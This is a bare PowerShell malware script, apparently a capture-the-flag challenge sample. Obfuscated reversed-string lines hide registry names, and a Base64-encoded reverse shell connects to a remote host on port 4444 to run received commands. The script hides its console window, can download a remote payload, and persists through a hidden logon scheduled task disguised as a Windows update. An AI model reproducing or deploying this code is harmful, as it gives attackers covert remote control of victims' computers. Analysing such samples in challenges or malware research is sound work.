Copy ( $PshomE[4]+$pshoMe[30]+'x') ( [strinG]::join('' , ([REGeX]::MaTCHES( ")'x'+]31[DIlLeHs$+]1[DiLLehs$ (&| )43]RAhc[]GnIRTs[,'tXj'(eCALPER.)'$','wqi'(eCALPER.)';tX'+'jera_scodlam'+'{B'+'T'+'HCtXj '+'= p'+'gerwqi'(" ,'.' ,'R'+'iGHTtOl'+'eft' ) | FoREaCH-OBJecT {$_.VALUE} )) )
$payloadBase64 = "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADYALgAyADMAMwAzAC4ANQA0AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==";
//$payloadBase64 = "$client = New-Object System.Net.Sockets.TCPClient("196.2333.54.2",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
SEt ("G8"+"h") ( " ) )63]Rahc[,'raZ'EcalPeR- 43]Rahc[,)05]Rahc[+87]Rahc[+94]Rahc[( eCAlpERc- )';2'+'N'+'1'+'}atem_we'+'n_eht'+'_2N1 = n'+'gerr'+'aZ'(( ( )''niOj-'x'+]3,1[)(GNirTSot.EcNereFeRpEsOBREv$ ( . " ) ;-jOIn ( lS ("VAR"+"IaB"+"LE:g"+"8H") ).VALue[ - 1.. - ( ( lS ("VAR"+"IaB"+"LE:g"+"8H") ).VALue.LengtH)] | IeX
Add-Type -Name Window -Namespace Console -MemberDefinition '
[DllImport("Kernel32.dll")]
public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);
';
[Console.Window]::ShowWindow([Console.Window]::GetConsoleWindow(), 0);
if ($payloadBase64 -match "http:|https:") {
$payloadBase64 = (New-Object "Net.Webclient").DownloadString($payloadBase64);
}
$installed = Get-ItemProperty -Path "HKCU:\Software\$($regp)" -Name "$($regn)" -ea SilentlyContinue;
if ($installed) {
if ($installed -ne $payloadBase64) {
Set-ItemProperty -Path "HKCU:\Software\$($regp)" -Name "$($regn)" -Force -Value $payloadBase64;
}
# installation
} else {
if ($FALSE -eq (Test-Path -Path "HKCU:\Software\$($regp)\")) {
New-Item -Path "HKCU:\Software\$($regp)";
}
Set-ItemProperty -Path "HKCU:\Software\$($regp)" -Name "$($regn)" -Force -Value $payloadBase64;
$u = [Environment]::UserName;
$task = Get-ScheduledTask -TaskName "$($regp)$($regn)" -ea SilentlyContinue;
if ($task) {
Unregister-ScheduledTask -TaskName "$($regp)$($regn)" -Confirm:$false;
}
$a = New-ScheduledTaskAction -Execute "powershell.exe" "-w hidden -ExecutionPolicy Bypass -nop -NoExit -C Write-host 'Windows update ready'; iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\$($regp)).$($regn))));";
$t = New-ScheduledTaskTrigger -AtLogOn -User "$($u)";
$p = New-ScheduledTaskPrincipal "$($u)";
$s = New-ScheduledTaskSettingsSet -Hidden;
$d = New-ScheduledTask -Action $a -Trigger $t -Principal $p -Settings $s;
Register-ScheduledTask "$($regp)$($regn)" -InputObject $d;
}
iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payloadBase64))); 
